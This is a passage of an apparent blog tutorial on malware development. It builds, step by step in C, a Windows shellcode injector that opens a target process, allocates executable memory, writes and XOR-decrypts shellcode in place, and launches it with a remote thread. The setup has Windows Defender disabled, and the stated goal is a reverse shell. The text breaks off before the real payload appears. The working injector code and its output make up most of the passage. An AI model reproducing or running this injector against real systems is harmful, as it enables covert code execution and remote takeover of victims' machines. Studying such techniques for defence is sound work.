buffer.</li></ol><h3>Setup:</h3><ol><li><strong>Linux environment(Attacker)</strong></li></ol><ul><li>Metasploit</li></ul><p>2. <strong>Windows environment(Target)</strong></p><ul><li>Disabled windows defender</li><li>MinGW-w64 compiler</li><li>Process Hacker</li></ul><p>Link to download the MinGW Compilers:</p><p><a href="https://winlibs.com/?source=post_page-----895c7d468532--------------------------------#download-release">WinLibs - GCC+MinGW-w64 compiler for Windows</a></p><p>Link to download the Process Hacker:</p><p><a href="https://processhacker.sourceforge.io/downloads.php">Downloads - Process Hacker</a></p><p>Follow the below tutorial to install and setup the mingw compilers on your windows machine:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FghikMomksCc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DghikMomksCc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FghikMomksCc%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/73d4a4e7497486ed5881707e501ad981/href">https://medium.com/media/73d4a4e7497486ed5881707e501ad981/href</a></iframe><h3>Prerequisites:</h3><ol><li>Basics of Win32 API</li><li>Basics of Windows Internals</li><li>Familiarity with C/C++</li></ol><p>The Requirements might seem daunting but fear not, you just need to know the basics to be able to continue further and understand. For C/C++ programming, just having familiarity with the syntax is enough to understand the concept.</p><p>Here are few resources which might help out:</p><p><strong>C/C++ Basics:</strong></p><ul><li><a href="https://www.learncpp.com/">Learn C++</a></li><li><a href="https://www.learn-c.org/">Learn C - Free Interactive C Tutorial</a></li></ul><p><strong>Windows Internals and Win32 API:</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FaNEqC-U5tHM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DaNEqC-U5tHM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FaNEqC-U5tHM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/743b1ddceed70febbdd920e823f192bb/href">https://medium.com/media/743b1ddceed70febbdd920e823f192bb/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FU5dhuyPm6n8&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DU5dhuyPm6n8&amp;image=http%3A%2F%2Fi.ytimg.com%2Fvi%2FU5dhuyPm6n8%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7c0307aedef780058f646d6d6f12f522/href">https://medium.com/media/7c0307aedef780058f646d6d6f12f522/href</a></iframe><p><a href="https://tryhackme.com/room/windowsapi">TryHackMe | Introduction to Windows API</a></p><p>Its enough to get started but you may look for other resources to get a better understanding.</p><h3>Writing the Program</h3><h4>1. Writing the boilerplate code.</h4><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br>int main(int argc, char* argv[]){<br><br>    i(&quot;Program is working fine!!&quot;)<br><br>    return 0;<br>}</pre><p>This serves as the boilerplate code, showcasing defined macros for printing debugging statements. The main function of the program accepts two command-line arguments for further processing. The &lt;windows.h&gt; header serves us with all the required win32 api functions.</p><h4>2. Variable Declaration, Shellcode Initialization, and PID Retrieval</h4><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br>    /*Initializing Shellcode and its szie*/<br>    unsigned char shellcode[] = &quot;\x41\x41\x41\x41\x41\x41\x41\x41\x41&quot;;<br>    int sizeshellcode = sizeof(shellcode);<br>    i(&quot;Size of shellcode is: %zd bytes\n&quot;,sizeshellcode);<br><br>    <br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br><br> PID = atoi(argv[1]); //Converting the argument to int<br>    i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    return 0;<br><br>}</pre><p>First, we declare several variables that will be used in subsequent API function calls. Next, we initialize the shellcode variable with a stream of junk values represented by &#39;A&#39;s, which corresponds to &#39;0x41&#39; in hexadecimal. We will substitute a legitimate shellcode once the program flow is finalized.</p><p>At the time of execution, the program should be provided with a PID argument of the process we are targetting. If not provided, it will generate an error along with usage instructions. The PID argument will be parsed and passed it through atoi function which will convert the string into an integer.</p><h4>3. Getting the Handle of a process.</h4><pre>HANDLE OpenProcess(<br>  [in] DWORD dwDesiredAccess,<br>  [in] BOOL  bInheritHandle,<br>  [in] DWORD dwProcessId<br>);</pre><p>This function is used to obtain the handle of a process, allowing access to and manipulation of its resources, including memory and files. Read more about it from the link below:</p><p>This function is used to obtain the handle of a process, allowing access to and manipulation of its resources, including memory and files. Read more about it from the link below:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess function (processthreadsapi.h) - Win32 apps</a></p><p>The first argument is where you provide the access rights of the target process to our program. There are various access rights listed, which you can refer to from the link below:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">Process Security and Access Rights - Win32 apps</a></p><p>Each access right has its own limitations and defines the scope of access granted to our program. Although it’s not a good practice, for demonstration purposes and to avoid confusion, I will specify PROCESS_ALL_ACCESS as the first argument.</p><p>For the second argument, we need to pass a boolean value to indicate whether the returned handle can be inherited by a child process created by our program. Since we don’t have to worry about that for now, we should pass the value as FALSE.</p><p>The last argument simply asks for the Process ID, where we can pass the PID variable that we declared at the top.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br>    /*Initializing Shellcode and its szie*/<br>    unsigned char shellcode[] = &quot;\x41\x41\x41\x41\x41\x41\x41\x41\x41&quot;;<br>    int sizeshellcode = sizeof(shellcode);<br>    i(&quot;Size of shellcode is: %zd bytes\n&quot;,sizeshellcode);<br><br>    <br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br><br> PID = atoi(argv[1]); //Converting the argument to int<br>    i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d&quot;, PID);<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    return 0;<br><br>}</pre><p>Compile and run the code, providing the PID as an argument of any process that is running under the same user as the program. Please note that we won’t be able to obtain the handle of an elevated process.</p><pre>gcc -o proc-inject.exe proc-inject.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jEvbXFJtLNsmtEtg7ni7KQ.png" /></figure><h4>4. Allocating the Buffer</h4><p>After obtaining the handle of the process, the next step is to allocate a buffer or virtual space within the target process for our shellcode. This can be accomplished by calling a function called VirtualAllocEx(), which returns the base address of the allocated buffer.</p><p>Read further from the link below:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex">VirtualAllocEx function (memoryapi.h) - Win32 apps</a></p><pre>LPVOID VirtualAllocEx(<br>  [in]           HANDLE hProcess,<br>  [in, optional] LPVOID lpAddress,<br>  [in]           SIZE_T dwSize,<br>  [in]           DWORD  flAllocationType,<br>  [in]           DWORD  flProtect<br>);</pre><p>The first parameter is the handle to the process in which we want to allocate the buffer. We already have the handle returned from the OpenProcess() function. Pass the variable hProcess into this parameter which holds the handle.</p><p>The second parameter is optional and requires a pointer to a specified address where we would like to start our allocation. For now, we would like the function to determine the location itself, so pass the value NULL to it.</p><p>The next parameter requires the size to allocate for the buffer. We already have a variable named sizeshellcode that holds the size of the shellcode in bytes. Passing that variable will suffice.</p><p>The fourth parameter requires the allocation type of the buffer. Since we want to reserve memory for the buffer and then commit it so that we can read/write and execute in physical memory, let’s combine both using (MEM_RESERVE | MEM_COMMIT).</p><p>The last parameter comes into play when we are committing the memory and want to enable certain protections on the allocated region. These protections ensure that the region cannot be exploited by other processes or any form of user input. There is a list of memory protection attributes. You can read about them from the link below:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants">Memory Protection Constants (WinNT.h) - Win32 apps</a></p><p>We are going to grant the region PAGE_EXECUTE_READWRITE (RWX) permission, allowing us to both write to and execute our shellcode.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br>    /*Initializing Shellcode and its szie*/<br>    unsigned char shellcode[] = &quot;\x41\x41\x41\x41\x41\x41\x41\x41\x41&quot;;<br>    int sizeshellcode = sizeof(shellcode);<br>    i(&quot;Size of shellcode is: %zd bytes\n&quot;,sizeshellcode);<br><br>    <br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br><br> PID = atoi(argv[1]); //Converting the argument to int<br>    i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d&quot;, PID);<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    /*Allocating the buffer within the virtual addrress space of the process*/<br>    i(&quot;Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p&quot;,hProcess);<br>    AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);<br>    if (AllocBuffer == NULL){<br>        e(&quot;Failed to Allocate Buffer&quot;);<br>        return 1;<br>    }<br>    s(&quot;Succesfully Aloocated the buffer into the Virtual space of the process&quot;);<br>    i(&quot;Address: %x\n&quot;, AllocBuffer);<br><br>    return 0;<br><br>}</pre><p>Compile and execute the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9fum1ge26y9L6UTUZsq6kA.png" /></figure><h4>5. Writing the shellcode in the buffer</h4><p>After we have allocated memory and obtained the base address of the buffer, the next step is to write our shellcode into that memory. For this purpose, we will use the Win32 API function called WriteProcessMemory(). This function returns a non-zero value upon success and 0 (zero) if it fails. We can use this return value in a conditional statement to determine the success or failure of the function.</p><p>Read more about it and its parameters from the link below:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory">WriteProcessMemory function (memoryapi.h) - Win32 apps</a></p><pre>BOOL WriteProcessMemory(<br>  [in]  HANDLE  hProcess,<br>  [in]  LPVOID  lpBaseAddress,<br>  [in]  LPCVOID lpBuffer,<br>  [in]  SIZE_T  nSize,<br>  [out] SIZE_T  *lpNumberOfBytesWritten<br>);</pre><p>The first parameter requires the handle of the process we are targeting. The handle is stored in the hProcess variable, which can be passed to it.</p><p>The second parameter is a pointer to the base address where the data is to be written. We have already retrieved the address using the VirtualAllocEx function. Pass the AllocBuffer variable into this parameter.</p><p>The third parameter is the actual buffer or contents to be written into the memory region. Pass it using the shellcode variable.</p><p>The next one requires the size of the actual content. Simply pass in the sizeshellcode variable.</p><p>The last parameter stores the number of bytes written to the memory and uses a pointer to the variable we provide. It’s optional, so we can ignore it and pass NULL.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br>    /*Initializing Shellcode and its szie*/<br>    unsigned char shellcode[] = &quot;\x41\x41\x41\x41\x41\x41\x41\x41\x41&quot;;<br>    int sizeshellcode = sizeof(shellcode);<br>    i(&quot;Size of shellcode is: %zd bytes\n&quot;,sizeshellcode);<br><br>    <br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br><br> PID = atoi(argv[1]); //Converting the argument to int<br>    i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d&quot;, PID);<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    /*Allocating the buffer within the virtual addrress space of the process*/<br>    i(&quot;Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p&quot;,hProcess);<br>    AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);<br>    if (AllocBuffer == NULL){<br>        e(&quot;Failed to Allocate Buffer&quot;);<br>        return 1;<br>    }<br>    s(&quot;Succesfully Aloocated the buffer into the Virtual space of the process&quot;);<br>    i(&quot;Address: %x\n&quot;, AllocBuffer);<br><br><br>    /*Write the shellcode into the buffer*/<br>    if (WriteProcessMemory(hProcess, AllocBuffer, shellcode, sizeshellcode, NULL) == 0){<br>        e(&quot;Unable to write the shellcode&quot;);<br>        return 1;<br>    }<br>    s(&quot;Wrote Shellcode to the buffer!&quot;);<br><br><br>    return 0;<br><br>}</pre><p>Compile and execute the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pxIrjHWJRL7QnGeVKjcpJg.png" /></figure><h4>6. Decrypting the shellcode in memory</h4><p>I am planning to write an encrypted shellcode into memory and then decrypt it within memory. I will be using the same shellcode as in my previous post. Refer to that post to gain insight into how I generated and encrypted the shellcode using the link below:</p><p><a href="https://ain-kun.medium.com/encrypted-shellcode-execution-895c7d468532">Encrypted shellcode execution</a></p><p>I will be using the XOR algorithm to decrypt my shellcode byte by byte. This involves reading the bytes using the ReadProcessMemory function, decrypting each byte using the specified key, and then writing the decrypted bytes back to the same location.</p><p>Read more about it and its parameters from the link below:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory">ReadProcessMemory function (memoryapi.h) - Win32 apps</a></p><pre>char key[] = &quot;veryhardkey&quot;;</pre><p>We will use the same key that was employed in my previous post.</p><pre>BOOL ReadProcessMemory(<br>  [in]  HANDLE  hProcess,<br>  [in]  LPCVOID lpBaseAddress,<br>  [out] LPVOID  lpBuffer,<br>  [in]  SIZE_T  nSize,<br>  [out] SIZE_T  *lpNumberOfBytesRead<br>);</pre><p>The first parameter requires the handle of the process in which our shellcode is written. The handle is stored in the hProcess variable, which can be passed to it.</p><p>The next parameter is a pointer to the base address of the process from which we want to read. Pass in the AllocBuffer variable, which holds the base address of the memory region that was allocated and written to with the shellcode.</p><p>The third parameter is a pointer to the variable or buffer where the read data will be written. We will specify the value of this parameter later.</p><p>The fourth parameter is the size of the data to be read in bytes from the base address provided in the second variable. We will also specify the value of this parameter later.</p><p>The last parameter is used to store the number of bytes read, and we can simply ignore it by passing NULL.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br>    /*Initializing Shellcode and its szie*/<br>    unsigned char shellcode[] = &quot;\x41\x42\x43\x44\x45\x46\x47\x48\x49&quot;;<br>    int sizeshellcode = sizeof(shellcode);<br>    i(&quot;Size of shellcode is: %zd bytes\n&quot;,sizeshellcode);<br><br>    <br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br><br> PID = atoi(argv[1]); //Converting the argument to int<br>    i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d&quot;, PID);<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    /*Allocating the buffer within the virtual addrress space of the process*/<br>    i(&quot;Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p&quot;,hProcess);<br>    AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);<br>    if (AllocBuffer == NULL){<br>        e(&quot;Failed to Allocate Buffer&quot;);<br>        return 1;<br>    }<br>    s(&quot;Succesfully Aloocated the buffer into the Virtual space of the process&quot;);<br>    i(&quot;Address: %x\n&quot;, AllocBuffer);<br><br><br>    /*Write the shellcode into the buffer*/<br>    if (WriteProcessMemory(hProcess, AllocBuffer, shellcode, sizeshellcode, NULL) == 0){<br>        e(&quot;Unable to write the shellcode&quot;);<br>        return 1;<br>    }<br>    s(&quot;Wrote Shellcode to the buffer!&quot;);<br><br>    /*Decrypting the shellcode in memory*/<br>    BYTE value;<br>    char key[] = &quot;veryhardkey&quot;;<br>    for (int i = 0; i &lt; sizeshellcode-1; i++){<br>        ReadProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br>        i(&quot;Byte %d: 0x%x&quot;,i,value);<br><br>        value = (value ^ key[i%11]);       // decrypt<br>        WriteProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br>        <br>        ReadProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br>        i(&quot;New Byte %d: 0x%x\n&quot;,i,value);<br>    }<br><br>    return 0;<br>}</pre><p>For decrypting my shellcode in memory, there is a for loop routine that reads each byte from memory and performs a bitwise XOR operation between the byte stored in the variable value (representing a byte of the shellcode) and an element of the key array in a cyclic manner. The resulting values are again written in to the same memory chunk.</p><p>Debugging can be facilitated by printing the initial and decrypted values, providing confirmation of the process.</p><p>I will make slight changes to my shellcode to demonstrate various possible outputs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NctSRzgjuDEYDO4kecyvng.png" /></figure><p>Here is the output of the execution:</p><pre>C:\Users\target\Desktop\demo-maldev&gt;gcc -o proc-inject.exe proc-inject.c<br><br>C:\Users\target\Desktop\demo-maldev&gt;proc-inject.exe 128<br>[*] Size of shellcode is: 10 bytes<br><br>[*] Inserted PID: 128<br><br>[*] Trying to get the handle of the Procees:<br>[+] Got the Handle of the process: 128<br>[*] Processes Handle: 0x0000000000000098<br><br>[*] Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x0000000000000098<br>[+] Succesfully Aloocated the buffer into the Virtual space of the process<br>[*] Address: 68b90000<br><br>[+] Wrote Shellcode to the buffer!<br>[*] Byte 0: 0x41<br>[*] New Byte 0: 0x37<br><br>[*] Byte 1: 0x42<br>[*] New Byte 1: 0x27<br><br>[*] Byte 2: 0x43<br>[*] New Byte 2: 0x31<br><br>[*] Byte 3: 0x44<br>[*] New Byte 3: 0x3d<br><br>[*] Byte 4: 0x45<br>[*] New Byte 4: 0x2d<br><br>[*] Byte 5: 0x46<br>[*] New Byte 5: 0x27<br><br>[*] Byte 6: 0x47<br>[*] New Byte 6: 0x35<br><br>[*] Byte 7: 0x48<br>[*] New Byte 7: 0x2c<br><br>[*] Byte 8: 0x49<br>[*] New Byte 8: 0x22<br><br><br>C:\Users\target\Desktop\demo-maldev&gt;</pre><p>We can even visualize these values by going through the memory segment of the process using Process Hacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8kTploRpsbn8DrPX8mfKBA.png" /></figure><h4>7. Creating a thread</h4><p>Now, the final crucial component for shellcode injection is to invoke a thread that executes the contents written in the buffer. This can be achieved using the CreateRemoteThread() function. If successful, this function will return the handle of the created thread.</p><p>Read more about it and its parameters from the link below:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread">CreateRemoteThread function (processthreadsapi.h) - Win32 apps</a></p><pre>HANDLE CreateRemoteThread(<br>  [in]  HANDLE                 hProcess,<br>  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,<br>  [in]  SIZE_T                 dwStackSize,<br>  [in]  LPTHREAD_START_ROUTINE lpStartAddress,<br>  [in]  LPVOID                 lpParameter,<br>  [in]  DWORD                  dwCreationFlags,<br>  [out] LPDWORD                lpThreadId<br>);</pre><p>The first parameter once again requires the process handle as an argument. Pass in the hProcess variable for this purpose.</p><p>For the second parameter, pass NULL to obtain the default security descriptor (SD) for the new thread.</p><p>Regarding the third parameter, provide a value of 0 to let the thread use the default size for executables.</p><p>The fourth parameter requires the starting address that the thread will execute. However, it must be provided in the LPTHREAD_START_ROUTINE type. To align with the function&#39;s signature, you can perform a type cast, passing (LPTHREAD_START_ROUTINE)AllocBuffer.</p><p>As for the next parameter, simply pass NULL since no parameters need to be sent to the function.</p><p>For the fifth parameter, provide 0 to indicate that the thread should begin executing immediately.</p><p>Lastly, the final parameter is a pointer to the variable that will store the thread ID. Supply the TID variable, which was declared at the beginning of the program.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br>    /*Initializing Shellcode and its szie*/<br>    unsigned char shellcode[] = &quot;\x41\x42\x43\x44\x45\x46\x47\x48\x49&quot;;<br>    int sizeshellcode = sizeof(shellcode);<br>    i(&quot;Size of shellcode is: %zd bytes\n&quot;,sizeshellcode);<br><br>    <br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br><br> PID = atoi(argv[1]); //Converting the argument to int<br>    i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d&quot;, PID);<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    /*Allocating the buffer within the virtual addrress space of the process*/<br>    i(&quot;Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p&quot;,hProcess);<br>    AllocBuffer = VirtualAllocEx(hProcess, NULL, sizeshellcode, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);<br>    if (AllocBuffer == NULL){<br>        e(&quot;Failed to Allocate Buffer&quot;);<br>        return 1;<br>    }<br>    s(&quot;Succesfully Aloocated the buffer into the Virtual space of the process&quot;);<br>    i(&quot;Address: %x\n&quot;, AllocBuffer);<br><br><br>    /*Write the shellcode into the buffer*/<br>    if (WriteProcessMemory(hProcess, AllocBuffer, shellcode, sizeshellcode, NULL) == 0){<br>        e(&quot;Unable to write the shellcode&quot;);<br>        return 1;<br>    }<br>    s(&quot;Wrote Shellcode to the buffer!&quot;);<br><br>    /*Decrypting the shellcode in memory*/<br>    BYTE value;<br>    char key[] = &quot;veryhardkey&quot;;<br>    for (int i = 0; i &lt; sizeshellcode-1; i++){<br>        ReadProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br><br>        value = (value ^ key[i%11]);       // decrypt<br>        WriteProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br>        <br>        ReadProcessMemory(hProcess, AllocBuffer+i, &amp;value, sizeof(value), NULL);<br>    }<br><br>    /*Creating a thread to execute the shellcode*/<br>    hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)AllocBuffer, NULL, 0, 0, &amp;TID);<br><br>    i(&quot;Thread invoked!&quot;)<br>    i(&quot;Thread Handle: 0x%p&quot;, hThread);<br>    i(&quot;Thread ID: %d&quot;, TID);<br><br>    return 0;<br>}</pre><p>We can remove the byte change debugging statements for now to make the code cleaner.</p><p>After executing the code, we will notice that the target process will crash because the shellcode provided isn’t valid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*gY885QNO5n3w3IQKvViJPQ.gif" /></figure><h4>8. Getting a Reverse Shell</h4><p>Now, let’s shift to a more serious phase by including the actual shellcode that will be executed. This will ultimately provide the attacker with remote access to our machine.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br>    /*Initializing Shellcode and its szie*/<br>    unsigned char shellcode[] = 